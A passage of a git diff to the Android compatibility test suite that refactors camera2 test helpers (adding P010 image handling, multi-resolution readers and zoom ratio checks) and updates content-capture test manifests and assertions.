-                    ImageReader target = ImageReader.newInstance(targetSize.getWidth(),
-                            targetSize.getHeight(), format, numBuffers);
-                    target.setOnImageAvailableListener(imageDropperListener, handler);
-                    OutputConfiguration config = new OutputConfiguration(target.getSurface());
-                    if (overridePhysicalCameraId != null) {
-                        config.setPhysicalCameraId(overridePhysicalCameraId);
-                    }
-                    outputConfigs.add(config);
-                    jpegTargets.add(target);
-                    break;
-                }
-                case ImageFormat.YUV_420_888: {
-                    ImageReader target = ImageReader.newInstance(targetSize.getWidth(),
-                            targetSize.getHeight(), format, numBuffers);
-                    target.setOnImageAvailableListener(imageDropperListener, handler);
-                    OutputConfiguration config = new OutputConfiguration(target.getSurface());
-                    if (overridePhysicalCameraId != null) {
-                        config.setPhysicalCameraId(overridePhysicalCameraId);
-                    }
-                    outputConfigs.add(config);
-                    yuvTargets.add(target);
-                    break;
-                }
-                case ImageFormat.Y8: {
-                    ImageReader target = ImageReader.newInstance(targetSize.getWidth(),
-                            targetSize.getHeight(), format, numBuffers);
-                    target.setOnImageAvailableListener(imageDropperListener, handler);
-                    OutputConfiguration config = new OutputConfiguration(target.getSurface());
-                    if (overridePhysicalCameraId != null) {
-                        config.setPhysicalCameraId(overridePhysicalCameraId);
-                    }
-                    outputConfigs.add(config);
-                    y8Targets.add(target);
+                case ImageFormat.PRIVATE:
+                case ImageFormat.JPEG:
+                case ImageFormat.YUV_420_888:
+                case ImageFormat.Y8:
+                case ImageFormat.HEIC:
+                case ImageFormat.DEPTH16:
+                {
+                    configureTarget(targets, outputConfigs, outputSurfaces, format,
+                            targetSize, numBuffers, overridePhysicalCameraId, multiResStreamConfig,
+                            isUltraHighResolution, isCompatibleTarget, createMultiResReader,
+                            imageDropperListener, handler);
                     break;
                 }
                 case ImageFormat.RAW_SENSOR: {
                     // targetSize could be null in the logical camera case where only
                     // physical camera supports RAW stream.
                     if (targetSize != null) {
-                        ImageReader target = ImageReader.newInstance(targetSize.getWidth(),
-                                targetSize.getHeight(), format, numBuffers);
-                        target.setOnImageAvailableListener(imageDropperListener, handler);
-                        OutputConfiguration config =
-                                new OutputConfiguration(target.getSurface());
-                        if (overridePhysicalCameraId != null) {
-                            config.setPhysicalCameraId(overridePhysicalCameraId);
-                        }
-                        outputConfigs.add(config);
-                        rawTargets.add(target);
+                        configureTarget(targets, outputConfigs, outputSurfaces, format,
+                                targetSize, numBuffers, overridePhysicalCameraId,
+                                multiResStreamConfig, isUltraHighResolution, isCompatibleTarget,
+                                createMultiResReader, imageDropperListener, handler);
                     }
                     break;
                 }
-                case ImageFormat.HEIC: {
-                    ImageReader target = ImageReader.newInstance(targetSize.getWidth(),
-                            targetSize.getHeight(), format, numBuffers);
-                    target.setOnImageAvailableListener(imageDropperListener, handler);
-                    OutputConfiguration config = new OutputConfiguration(target.getSurface());
-                    if (overridePhysicalCameraId != null) {
-                        config.setPhysicalCameraId(overridePhysicalCameraId);
-                    }
-                    outputConfigs.add(config);
-                    heicTargets.add(target);
-                    break;
-                }
-                case ImageFormat.DEPTH16: {
-                    ImageReader target = ImageReader.newInstance(targetSize.getWidth(),
-                            targetSize.getHeight(), format, numBuffers);
-                    target.setOnImageAvailableListener(imageDropperListener, handler);
-                    OutputConfiguration config = new OutputConfiguration(target.getSurface());
-                    if (overridePhysicalCameraId != null) {
-                        config.setPhysicalCameraId(overridePhysicalCameraId);
-                    }
-                    outputConfigs.add(config);
-                    depth16Targets.add(target);
-                    break;
-                }
                 default:
                     fail("Unknown output format " + format);
             }
@@ -534,6 +618,88 @@
         }
     }
 
+    public static class ImageAndMultiResStreamInfo {
+        public final Image image;
+        public final MultiResolutionStreamInfo streamInfo;
+
+        public ImageAndMultiResStreamInfo(Image image, MultiResolutionStreamInfo streamInfo) {
+            this.image = image;
+            this.streamInfo = streamInfo;
+        }
+    }
+
+    public static class SimpleMultiResolutionImageReaderListener
+            implements ImageReader.OnImageAvailableListener {
+        public SimpleMultiResolutionImageReaderListener(MultiResolutionImageReader owner,
+                int maxBuffers, boolean acquireLatest) {
+            mOwner = owner;
+            mMaxBuffers = maxBuffers;
+            mAcquireLatest = acquireLatest;
+        }
+
+        @Override
+        public void onImageAvailable(ImageReader reader) {
+            if (VERBOSE) Log.v(TAG, "new image available");
+
+            if (mAcquireLatest) {
+                mLastReader = reader;
+                mImageAvailable.open();
+            } else {
+                if (mQueue.size() < mMaxBuffers) {
+                    Image image = reader.acquireNextImage();
+                    MultiResolutionStreamInfo multiResStreamInfo =
+                            mOwner.getStreamInfoForImageReader(reader);
+                    mQueue.offer(new ImageAndMultiResStreamInfo(image, multiResStreamInfo));
+                }
+            }
+        }
+
+        public ImageAndMultiResStreamInfo getAnyImageAndInfoAvailable(long timeoutMs)
+                throws Exception {
+            if (mAcquireLatest) {
+                Image image = null;
+                if (mImageAvailable.block(timeoutMs)) {
+                    if (mLastReader != null) {
+                        image = mLastReader.acquireLatestImage();
+                        if (VERBOSE) Log.v(TAG, "acquireLatestImage");
+                    } else {
+                        fail("invalid image reader");
+                    }
+                    mImageAvailable.close();
+                } else {
+                    fail("wait for image available time out after " + timeoutMs + "ms");
+                }
+                return new ImageAndMultiResStreamInfo(image,
+                        mOwner.getStreamInfoForImageReader(mLastReader));
+            } else {
+                ImageAndMultiResStreamInfo imageAndInfo = mQueue.poll(timeoutMs,
+                        java.util.concurrent.TimeUnit.MILLISECONDS);
+                if (imageAndInfo == null) {
+                    fail("wait for image available timed out after " + timeoutMs + "ms");
+                }
+                return imageAndInfo;
+            }
+        }
+
+        public void reset() {
+            while (!mQueue.isEmpty()) {
+                ImageAndMultiResStreamInfo imageAndInfo = mQueue.poll();
+                assertNotNull("Acquired image is not valid", imageAndInfo.image);
+                imageAndInfo.image.close();
+            }
+            mImageAvailable.close();
+            mLastReader = null;
+        }
+
+        private LinkedBlockingQueue<ImageAndMultiResStreamInfo> mQueue =
+                new LinkedBlockingQueue<ImageAndMultiResStreamInfo>();
+        private final MultiResolutionImageReader mOwner;
+        private final int mMaxBuffers;
+        private final boolean mAcquireLatest;
+        private ConditionVariable mImageAvailable = new ConditionVariable();
+        private ImageReader mLastReader = null;
+    }
+
     public static class SimpleCaptureCallback extends CameraCaptureSession.CaptureCallback {
         private final LinkedBlockingQueue<TotalCaptureResult> mQueue =
                 new LinkedBlockingQueue<TotalCaptureResult>();
@@ -1158,9 +1324,26 @@
             InputConfiguration inputConfiguration, List<Surface> outputSurfaces,
             CameraCaptureSession.StateCallback listener, Handler handler)
             throws CameraAccessException {
+        List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
+        for (Surface surface : outputSurfaces) {
+            outputConfigs.add(new OutputConfiguration(surface));
+        }
+        CameraCaptureSession session = configureReprocessableCameraSessionWithConfigurations(
+                camera, inputConfiguration, outputConfigs, listener, handler);
+
+        return session;
+    }
+
+    public static CameraCaptureSession configureReprocessableCameraSessionWithConfigurations(
+            CameraDevice camera, InputConfiguration inputConfiguration,
+            List<OutputConfiguration> outputConfigs, CameraCaptureSession.StateCallback listener,
+            Handler handler) throws CameraAccessException {
         BlockingSessionCallback sessionListener = new BlockingSessionCallback(listener);
-        camera.createReprocessableCaptureSession(inputConfiguration, outputSurfaces,
-                sessionListener, handler);
+        SessionConfiguration sessionConfig = new SessionConfiguration(
+                SessionConfiguration.SESSION_REGULAR, outputConfigs, new HandlerExecutor(handler),
+                sessionListener);
+        sessionConfig.setInputConfiguration(inputConfiguration);
+        camera.createCaptureSession(sessionConfig);
 
         Integer[] sessionStates = {BlockingSessionCallback.SESSION_READY,
                                    BlockingSessionCallback.SESSION_CONFIGURE_FAILED};
@@ -1169,7 +1352,6 @@
 
         assertTrue("Creating a reprocessable session failed.",
                 state == BlockingSessionCallback.SESSION_READY);
-
         CameraCaptureSession session =
                 sessionListener.waitAndGetSession(SESSION_CONFIGURE_TIMEOUT_MS);
         assertTrue("Camera session should be a reprocessable session", session.isReprocessable());
@@ -1251,6 +1433,9 @@
      * (xstride = width, ystride = height for chroma and luma components).</p>
      *
      * <p>For JPEG, it returns a 1-D byte array contains a complete JPEG image.</p>
+     *
+     * <p>For YUV P010, it returns a byte array that contains Y plane first, followed
+     * by the interleaved U(Cb)/V(Cr) plane.</p>
      */
     public static byte[] getDataFromImage(Image image) {
         assertNotNull("Invalid image:", image);
@@ -1279,6 +1464,33 @@
             buffer.get(data);
             buffer.rewind();
             return data;
+        } else if (format == ImageFormat.YCBCR_P010) {
+            // P010 samples are stored within 16 bit values
+            int offset = 0;
+            int bytesPerPixelRounded = (ImageFormat.getBitsPerPixel(format) + 7) / 8;
+            data = new byte[width * height * bytesPerPixelRounded];
+            assertTrue("Unexpected number of planes, expected " + 3 + " actual " + planes.length,
+                    planes.length == 3);
+            for (int i = 0; i < 2; i++) {
+                buffer = planes[i].getBuffer();
+                assertNotNull("Fail to get bytebuffer from plane", buffer);
+                buffer.rewind();
+                rowStride = planes[i].getRowStride();
+                if (VERBOSE) {
+                    Log.v(TAG, "rowStride " + rowStride);
+                    Log.v(TAG, "width " + width);
+                    Log.v(TAG, "height " + height);
+                }
+                int h = (i == 0) ? height : height / 2;
+                for (int row = 0; row < h; row++) {
+                    int length = rowStride;
+                    buffer.get(data, offset, length);
+                    offset += length;
+                }
+                if (VERBOSE) Log.v(TAG, "Finished reading data from plane " + i);
+                buffer.rewind();
+            }
+            return data;
         }
 
         int offset = 0;
@@ -1349,6 +1561,7 @@
             case ImageFormat.YUV_420_888:
             case ImageFormat.NV21:
             case ImageFormat.YV12:
+            case ImageFormat.YCBCR_P010:
                 assertEquals("YUV420 format Images should have 3 planes", 3, planes.length);
                 break;
             case ImageFormat.JPEG:
@@ -1806,6 +2019,9 @@
             case ImageFormat.JPEG:
                 validateJpegData(data, width, height, filePath);
                 break;
+            case ImageFormat.YCBCR_P010:
+                validateP010Data(data, width, height, format, image.getTimestamp(), filePath);
+                break;
             case ImageFormat.YUV_420_888:
             case ImageFormat.YV12:
                 validateYuvData(data, width, height, format, image.getTimestamp(), filePath);
@@ -1921,6 +2137,21 @@
         }
     }
 
+    private static void validateP010Data(byte[] p010Data, int width, int height, int format,
+            long ts, String filePath) {
+        if (VERBOSE) Log.v(TAG, "Validating P010 data");
+        // The P010 10 bit samples are stored in two bytes so the size needs to be adjusted
+        // accordingly.
+        int bytesPerPixelRounded = (ImageFormat.getBitsPerPixel(format) + 7) / 8;
+        int expectedSize = width * height * bytesPerPixelRounded;
+        assertEquals("P010 data doesn't match", expectedSize, p010Data.length);
+
+        if (DEBUG && filePath != null) {
+            String fileName =
+                    filePath + "/" + width + "x" + height + "_" + ts / 1e6 + ".p010";
+            dumpFile(fileName, p010Data);
+        }
+    }
     private static void validateRaw16Data(byte[] rawData, int width, int height, int format,
             long ts, String filePath) {
         if (VERBOSE) Log.v(TAG, "Validating raw data");
@@ -3205,4 +3436,25 @@
         }
         return targetRange;
     }
+    /**
+     * Get the candidate supported zoom ratios for testing
+     *
+     * <p>
+     * This function returns the bounary values of supported zoom ratio range in addition to 1.0x
+     * zoom ratio.
+     * </p>
+     */
+    public static List<Float> getCandidateZoomRatios(StaticMetadata staticInfo) {
+        List<Float> zoomRatios = new ArrayList<Float>();
+        Range<Float> zoomRatioRange = staticInfo.getZoomRatioRangeChecked();
+        zoomRatios.add(zoomRatioRange.getLower());
+        if (zoomRatioRange.contains(1.0f) &&
+                1.0f - zoomRatioRange.getLower() > ZOOM_RATIO_THRESHOLD &&
+                zoomRatioRange.getUpper() - 1.0f > ZOOM_RATIO_THRESHOLD) {
+            zoomRatios.add(1.0f);
+        }
+        zoomRatios.add(zoomRatioRange.getUpper());
+
+        return zoomRatios;
+    }
 }
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index bf4397c..866024a 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -43,6 +43,7 @@
 import java.util.Set;
 
 import static android.hardware.camera2.cts.helpers.AssertHelpers.*;
+import static android.hardware.camera2.CameraCharacteristics.*;
 
 /**
  * Helpers to get common static info out of the camera.
@@ -76,7 +77,7 @@
 
     // Last defined capability enum, for iterating over all of them
     public static final int LAST_CAPABILITY_ENUM =
-            CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_OFFLINE_PROCESSING;
+            CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_REMOSAIC_REPROCESSING;
 
     // Access via getAeModeName() to account for vendor extensions
     public static final String[] AE_MODE_NAMES = new String[] {
@@ -2230,6 +2231,23 @@
     }
 
     /*
+     * Determine if camera device supports keys that must be supported by
+     * ULTRA_HIGH_RESOLUTION_SENSORs
+     *
+     * @return {@code true} if minimum set of keys are supported
+     */
+    public boolean areMaximumResolutionKeysSupported() {
+        return mCharacteristics.get(
+                CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE_MAXIMUM_RESOLUTION) != null &&
+                mCharacteristics.get(
+                        SENSOR_INFO_PRE_CORRECTION_ACTIVE_ARRAY_SIZE_MAXIMUM_RESOLUTION) != null &&
+                mCharacteristics.get(
+                        SENSOR_INFO_PIXEL_ARRAY_SIZE_MAXIMUM_RESOLUTION) != null &&
+                mCharacteristics.get(
+                        SCALER_STREAM_CONFIGURATION_MAP_MAXIMUM_RESOLUTION) != null;
+    }
+
+    /*
      * Determine if camera device support AWB lock control
      *
      * @return {@code true} if AWB lock control is supported
@@ -2426,6 +2444,16 @@
     }
 
     /**
+     * Check if this camera device is an ULTRA_HIGH_RESOLUTION_SENSOR
+     *
+     * @return true if this is an ultra high resolution sensor
+     */
+    public boolean isUltraHighResolutionSensor() {
+        List<Integer> availableCapabilities = getAvailableCapabilitiesChecked();
+        return (availableCapabilities.contains(
+                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_ULTRA_HIGH_RESOLUTION_SENSOR));
+    }
+    /**
      * Check if this camera device is a monochrome camera with Y8 support.
      *
      * @return true if this is a monochrome camera with Y8 support.
@@ -2575,6 +2603,26 @@
     }
 
     /**
+     * Check if rotate and crop is supported
+     */
+    public boolean isRotateAndCropSupported() {
+        int[] availableRotateAndCropModes = mCharacteristics.get(
+                CameraCharacteristics.SCALER_AVAILABLE_ROTATE_AND_CROP_MODES);
+
+        if (availableRotateAndCropModes == null) {
+            return false;
+        }
+
+        for (int mode : availableRotateAndCropModes) {
+            if (mode != CameraMetadata.SCALER_ROTATE_AND_CROP_NONE) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /**
      * Check if distortion correction is supported.
      */
     public boolean isDistortionCorrectionSupported() {
diff --git a/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
index 05d43b7..5b4b485 100644
--- a/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
+++ b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
@@ -17,12 +17,16 @@
 package android.hardware.cts.helpers;
 
 import android.content.Context;
+import android.graphics.SurfaceTexture;
 import android.hardware.Camera;
 import android.hardware.camera2.CameraCharacteristics;
 import android.hardware.camera2.CameraManager;
 import android.hardware.camera2.CameraMetadata;
 import android.hardware.camera2.cts.helpers.StaticMetadata;
 import android.os.Bundle;
+import android.os.SystemClock;
+import android.util.Log;
+import android.view.TextureView;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -37,6 +41,9 @@
     private static final float FOCAL_LENGTH_TOLERANCE = .01f;
 
 
+    private static final String TAG = "CameraUtils";
+    private static final long SHORT_SLEEP_WAIT_TIME_MS = 100;
+
     /**
      * Returns {@code true} if this device only supports {@code LEGACY} mode operation in the
      * Camera2 API for the given camera ID.
@@ -241,4 +248,29 @@
         }
         return cameraIds;
     }
+
+    /**
+     * Wait until the SurfaceTexture available from the TextureView, then return it.
+     * Return null if the wait times out.
+     *
+     * @param timeOutMs The timeout value for the wait
+     * @return The available SurfaceTexture, return null if the wait times out.
+    */
+    public static SurfaceTexture getAvailableSurfaceTexture(long timeOutMs, TextureView view) {
+        long waitTime = timeOutMs;
+
+        while (!view.isAvailable() && waitTime > 0) {
+            long startTimeMs = SystemClock.elapsedRealtime();
+            SystemClock.sleep(SHORT_SLEEP_WAIT_TIME_MS);
+            waitTime -= (SystemClock.elapsedRealtime() - startTimeMs);
+        }
+
+        if (view.isAvailable()) {
+            return view.getSurfaceTexture();
+        } else {
+            Log.w(TAG, "Wait for SurfaceTexture available timed out after " + timeOutMs + "ms");
+            return null;
+        }
+    }
+
 }
diff --git a/tests/contentcaptureservice/Android.bp b/tests/contentcaptureservice/Android.bp
index 6cc972d..f6d6ed4 100644
--- a/tests/contentcaptureservice/Android.bp
+++ b/tests/contentcaptureservice/Android.bp
@@ -29,7 +29,10 @@
         // which provides assertThrows
         "testng",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.aidl",
+    ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
diff --git a/tests/contentcaptureservice/AndroidManifest.xml b/tests/contentcaptureservice/AndroidManifest.xml
index a4b456e..1ec33f9 100644
--- a/tests/contentcaptureservice/AndroidManifest.xml
+++ b/tests/contentcaptureservice/AndroidManifest.xml
@@ -14,116 +14,125 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.contentcaptureservice.cts"
-    android:targetSandboxVersion="2">
+     package="android.contentcaptureservice.cts"
+     android:targetSandboxVersion="2">
 
     <application>
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name=".BlankActivity"
-                  android:label="Blank"
-                  android:taskAffinity=".BlankActivity"
-                  android:theme="@android:style/Theme.NoTitleBar">
+             android:label="Blank"
+             android:taskAffinity=".BlankActivity"
+             android:theme="@android:style/Theme.NoTitleBar"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name=".BlankWithTitleActivity"
-                  android:label="Blanka"
-                  android:taskAffinity=".BlankWithTitleActivity">
+             android:label="Blanka"
+             android:taskAffinity=".BlankWithTitleActivity"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name=".LoginActivity"
-                  android:label="Login"
-                  android:taskAffinity=".LoginActivity"
-                  android:theme="@android:style/Theme.NoTitleBar">
+             android:label="Login"
+             android:taskAffinity=".LoginActivity"
+             android:theme="@android:style/Theme.NoTitleBar"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name=".ResizingEditActivity"
-                  android:label="ReizingEdit"
-                  android:taskAffinity=".ResizingEditActivity"
-                  android:windowSoftInputMode="adjustResize"
-                  android:theme="@android:style/Theme.NoTitleBar">
+             android:label="ReizingEdit"
+             android:taskAffinity=".ResizingEditActivity"
+             android:windowSoftInputMode="adjustResize"
+             android:theme="@android:style/Theme.NoTitleBar"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name=".ChildlessActivity"
-                  android:label="Childless"
-                  android:taskAffinity=".ChildlessActivity"
-                  android:theme="@android:style/Theme.NoTitleBar">
+             android:label="Childless"
+             android:taskAffinity=".ChildlessActivity"
+             android:theme="@android:style/Theme.NoTitleBar"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name=".CustomViewActivity"
-                  android:label="CustomView"
-                  android:taskAffinity=".CustomViewActivity"
-                  android:theme="@android:style/Theme.NoTitleBar">
+             android:label="CustomView"
+             android:taskAffinity=".CustomViewActivity"
+             android:theme="@android:style/Theme.NoTitleBar"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name=".OutOfProcessActivity"
-                  android:label="Oop"
-                  android:taskAffinity=".OutOfProcessActivity"
-                  android:theme="@android:style/Theme.NoTitleBar"
-                  android:process="android.contentcapture.cts.outside">
+             android:label="Oop"
+             android:taskAffinity=".OutOfProcessActivity"
+             android:theme="@android:style/Theme.NoTitleBar"
+             android:process="android.contentcapture.cts.outside"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name=".DataSharingActivity"
-                  android:label="DataSharing"
-                  android:taskAffinity=".DataSharingActivity"
-                  android:theme="@android:style/Theme.NoTitleBar">
+             android:label="DataSharing"
+             android:taskAffinity=".DataSharingActivity"
+             android:theme="@android:style/Theme.NoTitleBar"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <receiver android:name=".SelfDestructReceiver"
-            android:exported="true"
-            android:process="android.contentcapture.cts.outside"/>
+             android:exported="true"
+             android:process="android.contentcapture.cts.outside"/>
 
-        <service
-            android:name=".CtsContentCaptureService"
-            android:label="CtsContentCaptureService"
-            android:permission="android.permission.BIND_CONTENT_CAPTURE_SERVICE">
+        <service android:name=".CtsContentCaptureService"
+             android:label="CtsContentCaptureService"
+             android:permission="android.permission.BIND_CONTENT_CAPTURE_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.contentcapture.ContentCaptureService" />
+                <action android:name="android.service.contentcapture.ContentCaptureService"/>
             </intent-filter>
         </service>
 
@@ -137,10 +146,9 @@
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for the AutoFill Framework APIs."
-        android:targetPackage="android.contentcaptureservice.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for the AutoFill Framework APIs."
+         android:targetPackage="android.contentcaptureservice.cts">
     </instrumentation>
 
 </manifest>
diff --git a/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp b/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp
index 3d31903..fae0054 100644
--- a/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp
+++ b/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp
@@ -22,10 +22,13 @@
     name: "CtsOutsideOfPackageActivity",
     defaults: ["cts_defaults"],
     sdk_version: "current",
+    static_libs: [
+        "androidx.annotation_annotation",
+    ],
+    srcs: ["src/**/*.java"],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
         "general-tests",
     ],
-    srcs: ["src/**/*.java"],
 }
diff --git a/tests/contentcaptureservice/OutsideOfPackageActivity/AndroidManifest.xml b/tests/contentcaptureservice/OutsideOfPackageActivity/AndroidManifest.xml
index ea2fa41..164cdcf 100644
--- a/tests/contentcaptureservice/OutsideOfPackageActivity/AndroidManifest.xml
+++ b/tests/contentcaptureservice/OutsideOfPackageActivity/AndroidManifest.xml
@@ -14,31 +14,32 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.contentcaptureservice.cts2"
-          android:targetSandboxVersion="2">
+     package="android.contentcaptureservice.cts2"
+     android:targetSandboxVersion="2">
 
     <application>
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name=".OutsideOfPackageActivity"
-                  android:label="OutsideOfPackage"
-                  android:taskAffinity=".OutsideOfPackageActivity"
-                  android:theme="@android:style/Theme.NoTitleBar">
+             android:label="OutsideOfPackage"
+             android:taskAffinity=".OutsideOfPackageActivity"
+             android:theme="@android:style/Theme.NoTitleBar"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for the AutoFill Framework APIs."
-        android:targetPackage="android.contentcaptureservice.cts2" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for the AutoFill Framework APIs."
+         android:targetPackage="android.contentcaptureservice.cts2">
     </instrumentation>
 
 </manifest>
diff --git a/tests/contentcaptureservice/TEST_MAPPING b/tests/contentcaptureservice/TEST_MAPPING
new file mode 100644
index 0000000..32803d1
--- /dev/null
+++ b/tests/contentcaptureservice/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsContentCaptureServiceTestCases"
+    }
+  ]
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
index 555414c..6c8b02d 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
@@ -30,6 +30,7 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import android.app.assist.ActivityId;
 import android.content.ComponentName;
 import android.content.LocusId;
 import android.contentcaptureservice.cts.CtsContentCaptureService.Session;
@@ -103,6 +104,13 @@
                 .that(session.context.getLocusId()).isNull();
         assertWithMessage("context for session %s should not have extras", session)
                 .that(session.context.getExtras()).isNull();
+        final ActivityId activityId = session.context.getActivityId();
+        assertWithMessage("context for session %s should have ActivityIds", session)
+                .that(activityId).isNotNull();
+        assertWithMessage("wrong task id for session %s", session)
+                .that(activityId.getTaskId()).isEqualTo(activity.getRealTaskId());
+        assertWithMessage("context for session %s should have ActivityId", session)
+                .that(activityId.getToken()).isNotNull();
     }
 
     /**
@@ -118,6 +126,9 @@
                 .that(session.context.getTaskId()).isEqualTo(0);
         assertWithMessage("context for session %s should not have flags", session)
                 .that(session.context.getFlags()).isEqualTo(0);
+        final ActivityId activityId = session.context.getActivityId();
+        assertWithMessage("context for session %s should not have ActivityIds", session)
+                .that(activityId).isNull();
     }
 
     /**
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Helper.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Helper.java
index ccae37f..6ed8553 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Helper.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Helper.java
@@ -54,6 +54,7 @@
     public static final long GENERIC_TIMEOUT_MS = 10_000;
 
     public static final String MY_PACKAGE = "android.contentcaptureservice.cts";
+    public static final String MY_SECOND_PACKAGE = "android.contentcaptureservice.cts2";
     public static final String OTHER_PACKAGE = "NOT.android.contentcaptureservice.cts";
 
     public static final Set<String> NO_PACKAGES = null;
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/IOutOfProcessDataSharingService.aidl b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/IOutOfProcessDataSharingService.aidl
new file mode 100644
index 0000000..e3d92e2
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/IOutOfProcessDataSharingService.aidl
@@ -0,0 +1,19 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
